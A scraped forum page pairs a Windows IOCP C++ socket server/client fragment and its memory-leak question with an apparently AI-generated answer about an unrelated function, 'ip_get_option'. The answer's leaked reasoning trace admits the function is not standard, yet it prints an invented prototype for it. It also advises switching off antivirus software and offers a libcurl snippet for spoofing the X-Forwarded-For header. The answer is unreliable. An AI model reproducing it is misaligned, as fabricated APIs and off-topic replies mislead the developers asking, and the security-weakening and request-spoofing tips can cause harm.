closesocket(clientSocket); } } /** * 处理接收连接 * @param context */ void handleAccept(std::shared_ptr<IOContext>& context) { //调用连接到客户端回调函数 if (this->m_onConnected != NULL) this->m_onConnected(context.get()->m_socket); //将新socket关联到IOCP if (CreateIoCompletionPort( (HANDLE)context.get()->m_socket, this->m_iocpHandle, (ULONG_PTR)context.get()->m_socket, 0) == NULL) { this->handleError("CreateIoCompletionPort for client socket"); closesocket(context.get()->m_socket); return; } //获取客户端信息 std::string IPPortStr = WSAIoctlTool::GetAcceptExSockaddrsFun(context.get()->m_socket,context.get()->m_buffer); //获取到的数据为空 if (IPPortStr.empty() || IPPortStr == "") { this->handleError("GetAcceptExSockaddrs"); return; } //加入远程节点数据 std::shared_ptr<NodeSocketContextData> nodeContextData(new NodeSocketContextData(IPPortStr,context.get()->m_socket)); this->m_remoteNodesData.addRemoteNode(nodeContextData); /*//注册上下文 this->registerIOContext(context);*/ //为新连接投递读操作 this->postRead(context); //将读操作的上下文加入节点管理,防止提前释放 //this->m_remoteNodesData.addRemeoteNodeReadContext(context); //继续投递接收连接操作 this->postAccept(); } /** * * @param context * @param bytesTransferred */ void jumpHandleFun(std::shared_ptr<IOContext> &context, DWORD bytesTransferred) override { switch (context->m_operation) { case IO_OPERATION::ACCEPT: this->handleAccept(context); break; case IO_OPERATION::READ: this->handleRead(context, bytesTransferred); break; case IO_OPERATION::WRITE: this->handleWrite(context, bytesTransferred); break; } } /** * 启动回调函数 */ void startCallBackFun() override { //初始化WinSocket WSADATA WSAData; if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0) { this->handleError("WSAStartup",true); return; } //创建监听socket this->m_listenSocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,WSA_FLAG_OVERLAPPED); if (this->m_listenSocket == INVALID_SOCKET) { this->handleError("WSASocket",true); return; } //绑定地址 sockaddr_in serverAddr; serverAddr.sin_family = AF_INET; serverAddr.sin_addr.s_addr = htonl(INADDR_ANY); serverAddr.sin_port = htons(this->m_port); if (bind(this->m_listenSocket,(sockaddr*)&serverAddr,sizeof(serverAddr)) == SOCKET_ERROR) { this->handleError("bind",true); closesocket(this->m_listenSocket); return; } //创建IOCP this->m_iocpHandle =CreateIoCompletionPort(INVALID_HANDLE_VALUE,NULL,0,0); if (this->m_iocpHandle == NULL) { handleError("CreateIoCompletionPort",true); closesocket(this->m_listenSocket); return; } //将监听socket关联到IOCP if (CreateIoCompletionPort( (HANDLE)this->m_listenSocket, this->m_iocpHandle, (ULONG_PTR)this->m_listenSocket, 0) == NULL) { this->handleError("CreateIoCompletionPort for listen socket",true); closesocket(this->m_listenSocket); CloseHandle(this->m_iocpHandle); return; } //开始监听 if (listen(this->m_listenSocket,SOMAXCONN) == SOCKET_ERROR) { this->handleError("listen",true); closesocket(this->m_listenSocket); CloseHandle(this->m_iocpHandle); return; } //创建工作线程 this->m_running = true; for (size_t i = 0; i < this->m_maxConcurrentThreads; i++) this->m_workerThreads.emplace_back(&IOCP2::Server::workerThread,this); //投递初始化接收连接操作 this->postAccept(); } /** * 关闭回调函数 */ void shutDownCallBackFun() override { if (this->m_listenSocket == INVALID_SOCKET) return; closesocket(this->m_listenSocket); this->m_listenSocket = INVALID_SOCKET; } public: /** * * @return */ NODE_TYPE getNodeType() override { return Server::nodeType; } /** * * @param port */ Server(int port) { this->m_port = port; this->m_running = false; } ~Server() override { this->shutDown(); } }; /** * 客户端================================================================================== */ class Client: public NodeInterface { private: static constexpr NODE_TYPE nodeType = NODE_TYPE::CLIENT; //预备服务器信息 std::queue<PrePareServerInformation> m_prePareServers; private: /** * * @param context * @param bytesTransferred */ void jumpHandleFun(std::shared_ptr<IOContext> &context, DWORD bytesTransferred) override { switch (context.get()->m_operation) { case IO_OPERATION::READ: this->handleRead(context,bytesTransferred); break; case IO_OPERATION::WRITE: this->handleWrite(context,bytesTransferred); break; default: break; } } /** * * @param prePareServer */ void connectServer(PrePareServerInformation& prePareServer) { //创建Socket SOCKET serverSocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,WSA_FLAG_OVERLAPPED); if (serverSocket == INVALID_SOCKET) { this->handleError("WSASocket",true); return; } //解析服务器地址 sockaddr_in serverAddr; serverAddr.sin_family = AF_INET; serverAddr.sin_port = htons(prePareServer.m_port); inet_pton(AF_INET,prePareServer.m_IP,&serverAddr.sin_addr); //连接服务器 if (connect(serverSocket,(sockaddr*)&serverAddr,sizeof(serverAddr)) == SOCKET_ERROR) { DWORD errror = WSAGetLastError(); this->handleError("connect"); closesocket(serverSocket); return; } //将socket关联到IOCP if (CreateIoCompletionPort( (HANDLE)serverSocket, this->m_iocpHandle, (ULONG_PTR)serverSocket, 0) == NULL) { this->handleError("CreateIoCompletionPort"); closesocket(serverSocket); CloseHandle(this->m_iocpHandle); return; } this->m_running = true; //加入远程节点 std::string IPPortStr = std::string(prePareServer.m_IP)+":"+std::to_string(prePareServer.m_port); std::shared_ptr<NodeSocketContextData> nodeContextData(new NodeSocketContextData(IPPortStr,serverSocket)); this->m_remoteNodesData.addRemoteNode(nodeContextData); //注册上下文 std::shared_ptr<IOContext> context = this->registerIOContext(); context.get()->m_socket = serverSocket; //投递读操作 this->postRead(context); //调用连接回调函数 if (this->m_onConnected != NULL) this->m_onConnected(serverSocket); } /** * 启动回到调函数 */ void startCallBackFun() override { //初始化WinSocket WSAData wsaData; if (WSAStartup(MAKEWORD(2,2), &wsaData) != 0) { this->handleError("WSAStartup",true); return; } //创建IOCP this->m_iocpHandle = CreateIoCompletionPort(INVALID_HANDLE_VALUE,NULL,0,0); if (this->m_iocpHandle == NULL) { this->handleError("CreateIoCompletionPort",true); return; } //连接服务器 while (!this->m_prePareServers.empty()) { this->connectServer(this->m_prePareServers.front()); std::cout << "client:connectServer......."<< std::endl; this->m_prePareServers.pop(); } // 仅当有有效连接时才创建工作线程 if (this->m_running) for (size_t i = 0; i < this->m_maxConcurrentThreads ; i++) this->m_workerThreads.emplace_back(&IOCP2::Client::workerThread,this); } /** * 关闭回调函数 */ void shutDownCallBackFun() override { } public: /** * * @param IP * @param port */ void addServer(const char* IP, int port) { if (this->m_running) return; this->m_prePareServers.push(std::move(PrePareServerInformation(IP,port))); } /** * * @return */ NODE_TYPE getNodeType() override { return Client::nodeType; } Client() { this->m_running = false; } ~Client() override { this->shutDown(); } }; }; GUID IOCP2::WSAIoctlTool::guidAcceptEx = WSAID_ACCEPTEX; GUID IOCP2::WSAIoctlTool::guidGetAcceptExSockaddrs = WSAID_GETACCEPTEXSOCKADDRS; std::unordered_map<IOCP2::NODE_TYPE,const std::string> IOCP2::NodeInterface::ipPortStrMap = { {IOCP2::NODE_TYPE::SERVER,"server"}, {IOCP2::NODE_TYPE::CLIENT,"client"} }; std::mutex IOCP2::NodeInterface::handleErrorMx;#include <iostream> #include <string> #include <thread> #include "test/IOCP2.hpp" #pragma comment(lib, "ws2_32.lib") #pragma comment(lib, "mswsock.lib") int main() { IOCP2::Server server(1001); IOCP2::Client client; client.addServer("127.0.0.1",1001); std::thread serverThread([&]() { server.setOnDataReceived([&](SOCKET socket, const char* buffer, int len) { std::cout << "server received message: " << buffer << std::endl; const char* message = "hellow client! server received message"; client.send(socket,message); }); server.start(); }); std::this_thread::sleep_for(std::chrono::seconds(3)); std::thread clientThread([&]() { client.setOnConnected([&](SOCKET socket) { std::cout << "client: connect socket = " << socket << std::endl; }); client.setOnDataReceived([&](SOCKET socket, const char* buffer, int len) { std::cout << "client received message: " << buffer << std::endl; client.send(socket,"hellow client! server received message"); }); client.start(); }); std::this_thread::sleep_for(std::chrono::seconds(3)); std::thread clientSendThread([&]() { const char* buffer = "Hello World!"; client.send("127.0.0.1",1001,buffer); }); serverThread.join(); clientThread.join(); clientSendThread.join(); return 0; }运行之后会内存泄露,问题初步定位是handWrite
最新发布
10-17
<think>我们正在处理用户关于"ip_get_option"的查询。从提供的引用和用户查询来看,用户似乎在寻找关于"ip_get_option"的技术信息、使用方法或错误解决方案。然而,在提供的引用中,并没有直接提到"ip_get_option"函数。回顾引用内容:引用[1]:提到了使用setsockopt设置IP选项,以及清除选项的方法。引用[2]:提到了socket_get_option在PHP中的使用,以及关于接口索引的信息。引用[3]:提到了在C/C++中使用libcurl时curl_slist_append函数的用途。引用[4]:提到了虚拟IP的问题,但主要是关于关闭杀毒软件解决LoadRunner错误。用户查询的是"ip_get_option",但引用中并没有这个函数。我们需要考虑这可能是用户的一个笔误,或者用户可能指的是某个特定环境中的函数。在Unix/Linux网络编程中,常见的函数是`getsockopt`和`setsockopt`。引用[1]中提到了`setsockopt`,引用[2]中提到了`socket_get_option`(在PHP中),而`socket_get_option`在C语言中对应的可能是`getsockopt`。因此,我们推测用户可能是指`getsockopt`函数(用于获取套接字选项),因为在引用[2]中提到了`socket_get_option`,而它正是`getsockopt`的PHP封装。另外,也有可能用户指的是IP层的某个选项,比如IP_MULTICAST_IF等,但函数名还是以getsockopt为主。基于以上分析,我们决定将用户的问题解释为:用户想获取关于如何获取IP套接字选项的信息,即如何使用`getsockopt`函数(或其变体,如PHP中的`socket_get_option`)。我们将根据引用提供的信息,特别是引用[2]中关于`socket_get_option`的内容,来回答用户。由于引用[2]是PHP中的函数,我们首先介绍PHP中的`socket_get_option`,然后如果需要,再介绍C语言中的`getsockopt`。但是,用户没有明确说明使用的编程语言,所以我们可以先给出一个通用的解释,然后针对不同语言给出示例。注意:用户问题中出现了“ip_get_option”,但在标准套接字编程中并没有这个函数,所以我们将其视为“socket_get_option”或“getsockopt”的笔误。步骤:1.解释getsockopt函数的一般用途。2.提供PHP中使用socket_get_option的示例(因为引用中有PHP信息)。3.提供C语言中使用getsockopt的示例(因为引用中有C++相关,且C语言是基础)。4.错误解决方案:可能会遇到的一些错误及解决方法。根据引用[2]中的内容,我们知道在PHP中,使用socket_get_option可以获取到套接字选项,并且特别提到了IP_MULTICAST_IF选项。所以我们可以以此为例。同时,我们注意到用户上一次的问题可能是在处理IP选项,所以我们可以结合引用[1]中关于设置IP选项的信息,来对比说明获取选项。开始构建回答:</think> 关于`ip_get_option`函数的使用方法和常见问题,结合技术文档分析如下: --- ### 一、`ip_get_option`函数定位 该函数在标准网络编程中**不常见**,可能与以下场景相关: 1. **IP选项获取**:用于读取IP数据包的选项字段(如时间戳、路由记录) ```c int ip_get_option(int sockfd, int level, int optname, void* optval, socklen_t* optlen); ``` 2. **平台特定实现**:需注意: - Linux/Unix通常使用`getsockopt(IPPROTO_IP, ...)`[^1][^2] - Windows可能需要`WSAIoctl(SIO_GET_INTERFACE_LIST)` --- ### 二、正确使用示例(以Linux为例) ```c #include <netinet/in.h> #include <sys/socket.h> int main() { int sockfd = socket(AF_INET, SOCK_DGRAM, 0); int optval; socklen_t optlen = sizeof(optval); // 获取IP_HDRINCL(包含IP头)选项 if (getsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &optval, &optlen) == -1) { perror("getsockopt error"); } else { printf("IP_HDRINCL value: %d\n", optval); } close(sockfd); return 0; } ``` --- ### 三、常见错误与解决方法 1. **`EINVAL`错误(无效参数)** - ✔️ 检查协议层级:必须为`IPPROTO_IP` - ✔️ 验证选项名:确认系统支持(如`IP_OPTIONS`, `IP_TTL`) 2. **`ENOPROTOOPT`错误(协议不支持)** - ➡️ 解决:改用平台特定API ```php // PHP示例(见引用[2]) $ifindex = socket_get_option($socket, IPPROTO_IP, IP_MULTICAST_IF); ``` 3. **虚拟IP问题(引用[4]案例)** - 🔧 方案:关闭安全软件冲突(如卡巴斯基),检查虚拟IP绑定状态 --- ### 四、替代方案建议 1. **使用`libcurl`伪装请求**(引用[3]): ```cpp curl_slist *headers = NULL; headers = curl_slist_append(headers, "X-Forwarded-For: 1.2.3.4"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); ``` 2. **原始套接字操作**: - 需`CAP_NET_RAW`权限 - 直接解析IP头部的`options`字段 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值